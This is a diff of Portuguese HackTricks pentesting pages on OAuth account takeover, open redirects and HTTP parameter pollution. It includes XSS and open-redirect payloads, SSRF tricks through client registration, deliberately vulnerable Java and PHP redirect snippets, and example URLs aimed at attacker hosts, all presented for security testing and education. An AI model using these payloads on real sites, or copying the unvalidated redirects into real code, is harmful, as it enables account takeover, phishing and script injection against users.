O `redirect_uri` é crucial para a segurança nas implementações de OAuth e OpenID, pois direciona para onde os dados sensíveis, como códigos de autorização, são enviados pós-autorização. Se mal configurado, poderia permitir que atacantes redirecionassem essas solicitações para servidores maliciosos, possibilitando a tomada de controle da conta.
|
O `redirect_uri` é crucial para a segurança nas implementações de OAuth e OpenID, pois direciona para onde os dados sensíveis, como códigos de autorização, são enviados pós-autorização. Se mal configurado, poderia permitir que atacantes redirecionassem essas solicitações para servidores maliciosos, possibilitando a tomada de controle da conta.
|
||||||
|
|
||||||
As técnicas de exploração variam com base na lógica de validação do servidor de autorização. Podem variar desde a correspondência estrita de caminho até a aceitação de qualquer URL dentro do domínio ou subdiretório especificado. Métodos comuns de exploração incluem redirecionamentos abertos, travessia de caminho, exploração de regex fracos e injeção de HTML para roubo de token.
|
As técnicas de exploração variam com base na lógica de validação do servidor de autorização. Podem variar desde a correspondência estrita de caminhos até a aceitação de qualquer URL dentro do domínio ou subdiretório especificado. Métodos comuns de exploração incluem redirecionamentos abertos, travessia de caminho, exploração de regex fracos e injeção de HTML para roubo de token.
|
||||||
|
|
||||||
Além do `redirect_uri`, outros parâmetros do OAuth e OpenID como `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` também são suscetíveis a ataques de redirecionamento. Esses parâmetros são opcionais e seu suporte varia entre os servidores.
|
Além do `redirect_uri`, outros parâmetros do OAuth e OpenID como `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` também são suscetíveis a ataques de redirecionamento. Esses parâmetros são opcionais e seu suporte varia entre os servidores.
|
||||||
|
|
||||||
|
@ -85,7 +85,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||||
```
|
```
|
||||||
### CSRF - Manipulação inadequada do parâmetro de estado <a href="#bda5" id="bda5"></a>
|
### CSRF - Manipulação inadequada do parâmetro de estado <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
Nas implementações do OAuth, o uso indevido ou omissão do **parâmetro `state`** pode aumentar significativamente o risco de ataques de **Cross-Site Request Forgery (CSRF)**. Essa vulnerabilidade surge quando o parâmetro `state` é **não utilizado, usado como um valor estático ou não validado corretamente**, permitindo que os atacantes ignorem as proteções contra CSRF.
|
Nas implementações do OAuth, o uso indevido ou omissão do **parâmetro `state`** pode aumentar significativamente o risco de ataques de **Cross-Site Request Forgery (CSRF)**. Essa vulnerabilidade surge quando o parâmetro `state` não é usado, é usado como um valor estático ou não é validado corretamente, permitindo que os atacantes ignorem as proteções contra CSRF.
|
||||||
|
|
||||||
Os atacantes podem explorar isso interceptando o processo de autorização para vincular sua conta à conta de uma vítima, levando a possíveis **tomadas de controle de conta**. Isso é especialmente crítico em aplicações onde o OAuth é usado para **fins de autenticação**.
|
Os atacantes podem explorar isso interceptando o processo de autorização para vincular sua conta à conta de uma vítima, levando a possíveis **tomadas de controle de conta**. Isso é especialmente crítico em aplicações onde o OAuth é usado para **fins de autenticação**.
|
||||||
|
|
||||||
|
@ -101,9 +101,9 @@ O tratamento adequado e a validação do **parâmetro `state`** são cruciais pa
|
||||||
|
|
||||||
### Divulgação de Segredos <a href="#e177" id="e177"></a>
|
### Divulgação de Segredos <a href="#e177" id="e177"></a>
|
||||||
|
|
||||||
Identificar e proteger parâmetros secretos do OAuth é crucial. Enquanto o **`client_id`** pode ser divulgado com segurança, revelar o **`client_secret`** representa riscos significativos. Se o `client_secret` for comprometido, os atacantes podem explorar a identidade e a confiança da aplicação para **roubar `access_tokens`** e informações privadas.
|
Identificar e proteger os parâmetros secretos do OAuth é crucial. Enquanto o **`client_id`** pode ser divulgado com segurança, revelar o **`client_secret`** apresenta riscos significativos. Se o `client_secret` for comprometido, os atacantes podem explorar a identidade e a confiança da aplicação para **roubar `access_tokens`** e informações privadas.
|
||||||
|
|
||||||
Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a troca do `code` de autorização por um `access_token` no lado do cliente em vez do lado do servidor. Esse erro resulta na exposição do `client_secret`, permitindo que os atacantes gerem `access_tokens` sob a aparência da aplicação. Além disso, por meio de engenharia social, os atacantes podem escalar privilégios adicionando escopos adicionais à autorização do OAuth, explorando ainda mais o status confiável da aplicação.
|
Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a troca do `code` de autorização por um `access_token` no lado do cliente em vez do lado do servidor. Esse erro leva à exposição do `client_secret`, permitindo que os atacantes gerem `access_tokens` sob a aparência da aplicação. Além disso, por meio de engenharia social, os atacantes podem escalar privilégios adicionando escopos adicionais à autorização do OAuth, explorando ainda mais o status confiável da aplicação.
|
||||||
|
|
||||||
### Bruteforce do Client Secret
|
### Bruteforce do Client Secret
|
||||||
|
|
||||||
|
@ -120,7 +120,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||||
```
|
```
|
||||||
### Cabeçalho Referer vazando Código + Estado
|
### Cabeçalho Referer vazando Código + Estado
|
||||||
|
|
||||||
Uma vez que o cliente tenha o **código e estado**, se estiver **refletido dentro do cabeçalho Referer** ao navegar para uma página diferente, então está vulnerável.
|
Uma vez que o cliente tenha o **código e estado**, se ele estiver **refletido dentro do cabeçalho Referer** ao navegar para uma página diferente, então está vulnerável.
|
||||||
|
|
||||||
### Token de Acesso Armazenado no Histórico do Navegador
|
### Token de Acesso Armazenado no Histórico do Navegador
|
||||||
|
|
||||||
|
@ -132,11 +132,11 @@ O **código de autorização deve existir apenas por algum tempo para limitar a
|
||||||
|
|
||||||
### Token de Autorização/Atualização não vinculado ao cliente
|
### Token de Autorização/Atualização não vinculado ao cliente
|
||||||
|
|
||||||
Se você conseguir obter o **código de autorização e usá-lo com um cliente diferente, então pode assumir o controle de outras contas**.
|
Se você conseguir obter o **código de autorização e usá-lo com um cliente diferente, então você pode assumir o controle de outras contas**.
|
||||||
|
|
||||||
### Caminhos Felizes, XSS, Iframes e Mensagens Post para vazar códigos e valores de estado
|
### Caminhos Felizes, XSS, Iframes e Mensagens Post para vazar códigos e valores de estado
|
||||||
|
|
||||||
**[Confira este post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
**[Verifique este post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||||
|
|
||||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
|
@ -164,7 +164,7 @@ Como [**mencionado neste artigo**](https://salt.security/blog/oh-auth-abusing-oa
|
||||||
Isso ocorre porque um **atacante** poderia criar um **aplicativo que suporta OAuth e fazer login com o Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faz login com o Facebook no **aplicativo do atacante**, o atacante poderia obter o **token OAuth do usuário fornecido ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token de usuário da vítima**.
|
Isso ocorre porque um **atacante** poderia criar um **aplicativo que suporta OAuth e fazer login com o Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faz login com o Facebook no **aplicativo do atacante**, o atacante poderia obter o **token OAuth do usuário fornecido ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token de usuário da vítima**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir o controle da conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido para o ID de seu aplicativo.
|
Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir o controle da conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido ao ID de seu aplicativo.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Dois links e cookie <a href="#bda5" id="bda5"></a>
|
### Dois links e cookie <a href="#bda5" id="bda5"></a>
|
||||||
|
@ -182,37 +182,14 @@ O Registro Dinâmico de Clientes no OAuth serve como um vetor menos óbvio, mas
|
||||||
**Pontos-chave:**
|
**Pontos-chave:**
|
||||||
|
|
||||||
- O **Registro Dinâmico de Clientes** geralmente é mapeado para `/register` e aceita detalhes como `client_name`, `client_secret`, `redirect_uris` e URLs para logotipos ou Conjuntos de Chaves Web JSON (JWKs) via solicitações POST.
|
- O **Registro Dinâmico de Clientes** geralmente é mapeado para `/register` e aceita detalhes como `client_name`, `client_secret`, `redirect_uris` e URLs para logotipos ou Conjuntos de Chaves Web JSON (JWKs) via solicitações POST.
|
||||||
- Este recurso segue as especificações estabelecidas no **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis ao SSRF.
|
- Este recurso segue as especificações estabelecidas em **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis ao SSRF.
|
||||||
- O processo de registro pode inadvertidamente expor servidores ao SSRF de várias maneiras:
|
- O processo de registro pode inadvertidamente expor servidores ao SSRF de várias maneiras:
|
||||||
- **`logo_uri`**: Um URL para o logotipo do aplicativo cliente que pode ser buscado pelo servidor, desencadeando SSRF ou levando a XSS se o URL for manipulado de forma inadequada.
|
- **`logo_uri`**: Um URL para o logotipo do aplicativo cliente que pode ser buscado pelo servidor, desencadeando SSRF ou levando a XSS se o URL for manipulado incorretamente.
|
||||||
- **`jwks_uri`**: Um URL para o documento JWK do cliente, que se for maliciosamente elaborado, pode fazer com que o servidor faça solicitações de saída para um servidor controlado pelo atacante.
|
- **`jwks_uri`**: Um URL para o documento JWK do cliente, que se for maliciosamente elaborado, pode fazer com que o servidor faça solicitações de saída para um servidor controlado pelo atacante.
|
||||||
- **`sector_identifier_uri`**: Faz referência a um array JSON de `redirect_uris`, que o servidor pode buscar, criando uma oportunidade de SSRF.
|
- **`sector_identifier_uri`**: Faz referência a um array JSON de `redirect_uris`, que o servidor pode buscar, criando uma oportunidade de SSRF.
|
||||||
- **`request_uris`**: Lista URIs de solicitação permitidos para o cliente, que podem ser explorados se o servidor buscar esses URIs no início do processo de autorização.
|
- **`request_uris`**: Lista URIs de solicitação permitidos para o cliente, que podem ser explorados se o servidor buscar esses URIs no início do processo de autorização.
|
||||||
|
|
||||||
**Estratégia de Exploração:**
|
**Estratégia de Exploração:**
|
||||||
|
|
||||||
- O SSRF pode ser acionado registrando um novo cliente com URLs maliciosos em parâmetros como `logo_uri`, `jwks_uri` ou `sector_identifier_uri`.
|
- SSRF pode ser acionado registrando um novo cliente com URLs maliciosos em parâmetros como `logo_uri`, `jwks_uri` ou `sector_identifier_uri`.
|
||||||
- Embora a exploração direta via `request_uris` possa ser mitigada por controles de lista branca, fornecer um `request_uri` controlado pelo atacante pré-registrado pode facilitar o SSRF durante a fase de autorização.
|
- Embora a exploração direta via `request_uris` possa ser mitigada por controles de lista branca, fornecer um `request_uri` pré-registrado controlado pelo atacante pode facilitar o SSRF durante a fase de autorização.
|
||||||
|
|
||||||
## Condições de corrida de provedores OAuth
|
|
||||||
|
|
||||||
Se a plataforma que você está testando for um provedor OAuth, [**leia isso para testar possíveis Condições de Corrida**](race-condition.md).
|
|
||||||
|
|
||||||
## Referências
|
|
||||||
|
|
||||||
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
|
||||||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -7,8 +7,8 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -65,8 +65,6 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||||
";alert(0);//
|
";alert(0);//
|
||||||
```
|
```
|
||||||
# Redirecionamento Aberto ao carregar arquivos svg
|
# Redirecionamento Aberto ao carregar arquivos svg
|
||||||
|
|
||||||
Quando um aplicativo da web permite o upload de arquivos SVG, pode haver uma vulnerabilidade de redirecionamento aberto. Isso ocorre quando um invasor envia um link malicioso contendo um URL de redirecionamento para um arquivo SVG. Quando um usuário clica no link e o arquivo SVG é carregado, o usuário pode ser redirecionado para um site malicioso sem o seu consentimento. Isso pode ser explorado para realizar ataques de phishing ou redirecionar os usuários para sites de malware.
|
|
||||||
```markup
|
```markup
|
||||||
<code>
|
<code>
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
@ -158,6 +156,24 @@ ReturnUrl=https://c1h2e1.github.io
|
||||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||||
```
|
```
|
||||||
### Java
|
### Java
|
||||||
|
|
||||||
|
#### Redirecionamento Aberto
|
||||||
|
|
||||||
|
O redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para uma URL fornecida como um parâmetro sem validação adequada. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
|
||||||
|
|
||||||
|
##### Exemplo
|
||||||
|
|
||||||
|
```java
|
||||||
|
response.sendRedirect(request.getParameter("redirect_url"));
|
||||||
|
```
|
||||||
|
|
||||||
|
Neste exemplo, o aplicativo redireciona o usuário para a URL fornecida no parâmetro "redirect_url" sem verificar se a URL é confiável. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, como:
|
||||||
|
|
||||||
|
```
|
||||||
|
http://www.example.com/login?redirect_url=http://www.attacker.com
|
||||||
|
```
|
||||||
|
|
||||||
|
Para evitar o redirecionamento aberto, sempre valide e filtre as URLs de redirecionamento e evite redirecionar para URLs fornecidas pelos usuários.
|
||||||
```bash
|
```bash
|
||||||
response.redirect("http://mysafedomain.com");
|
response.redirect("http://mysafedomain.com");
|
||||||
```
|
```
|
||||||
|
@ -165,7 +181,7 @@ response.redirect("http://mysafedomain.com");
|
||||||
|
|
||||||
#### Redirecionamento Aberto
|
#### Redirecionamento Aberto
|
||||||
|
|
||||||
Um redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para um URL fornecido como um parâmetro sem validação adequada. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
|
Um redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para um URL especificado na solicitação sem validar ou sanitizar adequadamente o URL fornecido. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
|
||||||
|
|
||||||
##### Exemplo
|
##### Exemplo
|
||||||
|
|
||||||
|
@ -176,13 +192,17 @@ header('Location: ' . $redirect_url);
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
|
||||||
Neste exemplo, o código PHP simplesmente redireciona o usuário para o URL fornecido no parâmetro `url` sem qualquer verificação. Isso pode ser explorado por um atacante da seguinte maneira:
|
Neste exemplo, o código PHP simplesmente redireciona o usuário para o URL fornecido no parâmetro `url` da solicitação GET, sem qualquer validação. Isso pode ser explorado por um atacante da seguinte maneira:
|
||||||
|
|
||||||
```
|
```
|
||||||
http://example.com/open-redirect.php?url=http://malicious-site.com
|
http://example.com/open-redirect.php?url=http://malicious-site.com
|
||||||
```
|
```
|
||||||
|
|
||||||
Ao acessar o URL acima, o usuário será redirecionado para `http://malicious-site.com`, que pode ser um site malicioso projetado para roubar informações confidenciais.
|
Quando a vítima acessa o URL acima, ela será redirecionada para `http://malicious-site.com`, que pode ser um site de phishing ou outro site malicioso.
|
||||||
|
|
||||||
|
##### Mitigação
|
||||||
|
|
||||||
|
Para mitigar o risco de redirecionamento aberto, é importante validar e sanitizar todos os URLs fornecidos pelos usuários antes de redirecioná-los. Isso pode ser feito verificando se o URL fornecido pertence ao domínio esperado ou usando uma lista branca de URLs permitidos. Além disso, é recomendável evitar redirecionamentos baseados em entradas não confiáveis do usuário.
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
/* browser redirections*/
|
/* browser redirections*/
|
||||||
|
@ -208,10 +228,10 @@ exit;
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,14 +2,14 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -48,9 +48,9 @@ Este cenário destaca uma falha crítica no backend da aplicação, que processo
|
||||||
**Caso de Manipulação de Chave de API:**
|
**Caso de Manipulação de Chave de API:**
|
||||||
|
|
||||||
- **Cenário:** Uma aplicação permite que os usuários atualizem sua chave de API por meio de uma página de configurações de perfil.
|
- **Cenário:** Uma aplicação permite que os usuários atualizem sua chave de API por meio de uma página de configurações de perfil.
|
||||||
- **Vetor de Ataque:** Um atacante descobre que, ao adicionar um parâmetro `api_key` adicional à solicitação POST, pode manipular o resultado da função de atualização da chave de API.
|
- **Vetor de Ataque:** Um atacante descobre que, ao adicionar um parâmetro `api_key` adicional à solicitação POST, eles podem manipular o resultado da função de atualização da chave de API.
|
||||||
- **Técnica:** Utilizando uma ferramenta como Burp Suite, o atacante cria uma solicitação que inclui dois parâmetros `api_key`: um legítimo e um malicioso. O servidor, processando apenas a última ocorrência, atualiza a chave de API para o valor fornecido pelo atacante.
|
- **Técnica:** Utilizando uma ferramenta como Burp Suite, o atacante cria uma solicitação que inclui dois parâmetros `api_key`: um legítimo e um malicioso. O servidor, processando apenas a última ocorrência, atualiza a chave de API para o valor fornecido pelo atacante.
|
||||||
- **Resultado:** O atacante obtém controle sobre a funcionalidade da API da vítima, potencialmente acessando ou modificando dados privados sem autorização.
|
- **Resultado:** O atacante obtém controle sobre a funcionalidade da API da vítima, potencialmente acessando ou modificando dados privados de forma não autorizada.
|
||||||
|
|
||||||
Este exemplo destaca ainda mais a necessidade de manipulação segura de parâmetros, especialmente em recursos tão críticos quanto o gerenciamento de chaves de API.
|
Este exemplo destaca ainda mais a necessidade de manipulação segura de parâmetros, especialmente em recursos tão críticos quanto o gerenciamento de chaves de API.
|
||||||
|
|
||||||
|
@ -61,20 +61,20 @@ A forma como as tecnologias web lidam com parâmetros HTTP duplicados varia, afe
|
||||||
- **Flask:** Adota o valor do primeiro parâmetro encontrado, como `a=1` em uma string de consulta `a=1&a=2`, priorizando a instância inicial sobre duplicatas subsequentes.
|
- **Flask:** Adota o valor do primeiro parâmetro encontrado, como `a=1` em uma string de consulta `a=1&a=2`, priorizando a instância inicial sobre duplicatas subsequentes.
|
||||||
- **PHP (no Servidor HTTP Apache):** Contrariamente, prioriza o valor do último parâmetro, optando por `a=2` no exemplo dado. Esse comportamento pode facilitar inadvertidamente exploits de HPP ao honrar o parâmetro manipulado do atacante sobre o original.
|
- **PHP (no Servidor HTTP Apache):** Contrariamente, prioriza o valor do último parâmetro, optando por `a=2` no exemplo dado. Esse comportamento pode facilitar inadvertidamente exploits de HPP ao honrar o parâmetro manipulado do atacante sobre o original.
|
||||||
|
|
||||||
# Referências
|
## Referências
|
||||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
